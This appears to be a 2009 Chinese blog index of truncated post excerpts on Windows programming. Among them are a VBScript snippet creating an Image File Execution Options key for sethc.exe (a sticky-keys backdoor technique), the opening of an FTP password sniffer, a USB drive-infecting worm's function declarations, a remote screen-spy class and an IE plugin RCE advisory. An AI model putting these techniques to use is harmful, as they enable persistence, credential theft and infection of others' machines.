2009年07月05日 星期日 06:14
在MFC开发环境中,当运行退出了,Visual Studio会在输出窗口提示是否有内存泄漏。也可以借助MFC类CMemoryState动态地检测并输出内存泄漏信息。
在非MFC框架中,需要借助CRT函数实现这些功能。
1. 调用_CrtDumpMemoryLeaks()函数会在输出窗口中输出当前的内存泄漏。若在程序开始处加上:_CrtSetDbgFlag( _CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF );
语句,CRT会在程序的每个出口处自动调用_CrtDumpMemoryLeaks函数,因此 |
2009年07月04日 星期六 07:03
7月2日上午,微软公司诉北京思创未来科技发展有限公司预装盗版软件一案,在北京市第一中级人民法院一审宣判,原告微软公司的诉讼请求获得法院支持,判处被告北京思创未来科技发展有限公司赔偿原告微软公司人 ...
7月2日上午,微软公司诉北京思创未来科技发展有限公司预装盗版软件一案,在北京市第一中级人民法院一审宣判,原告微软公司的诉讼请求获得法院支持,判处被告北京思创未来科技发展有限公司赔偿原告微软公司人民币共计461,409元。针对部分消费者、销售商缺乏知识产权相关知识和知识产权保护意识的现象,多年来 |
2009年07月04日 星期六 04:52
利用vbs创建注册表值较简单,创建注册表项的话,网上多是用wmi来,例如代码:
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ‘创建sethc.exe项
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
|
2009年07月04日 星期六 04:49
article come from http://www.cn-dos.net/mediawiki/index.php?title=Hybird#.E5.B7.A7.E5.A6.99.E7.9A.84.com.E6.96.87.E4.BB.B6.E5.A4.B4
批处理与其他语言混合编程
Wikipedia,自由的百科全书 |
2009年07月03日 星期五 13:30
program WindowFromApi;
{ an example to how to create and design window with a button inside from API}
{ berzek aka alcap0rn }
// 01/07/09 : dd/mm/yy //
uses
Windows,
Messages,
dialogs |
2009年07月03日 星期五 09:37
// GetFtpPass.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include <stdio.h>
#include <string.h>
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
typedef stru
|
2009年06月29日 星期一 07:55
typedef BOOL( __stdcall *CTM ) ( HANDLE, PSID, PBOOL );
CTM CheckTokenMembership;
int IsUserAnAdmin( );
int main()
{
if( IsUserAnAdmin( ) == 1 ) {
printf("admin: true\n");
} else {
printf("admin: false\n");
}
getchar( );
|
2009年06月29日 星期一 07:53
#include <windows.h>
#include <stdio.h>
int InfectDrives( );
int WriteINI( char* sINI, char* sFILE );
int ReadINI( char* sINI, char* sFILE );
int FileCopy( char* sNEW );
char* szFileName = |
2009年06月29日 星期一 07:16
广度优先搜索变化的屏幕传输算法,就是小牛所谓的正态分布算法,算法很简单,去掉注释,自己冥想吧
// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenSpy.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
const BYTE BlockLength = 32; //块大小
const BYTE |
2009年06月29日 星期一 06:59
Author: JINN[0xjinn_at_gmail.com] www.cisrg.org
SCIEPlgn.dll is a script monitor, it's also a Internet Explore plugin.
So, we can load and startup it from <object> tag, when it's loading, a
memory
corruption vulnerability is occurred, EIP is rewriting, so, this is a
remote
code execution vulnerability.
This vulnerability was tested w |
|
|
xgymcn
男, 79岁
香港 九龙城区
上次登录: 1天前
加为好友
|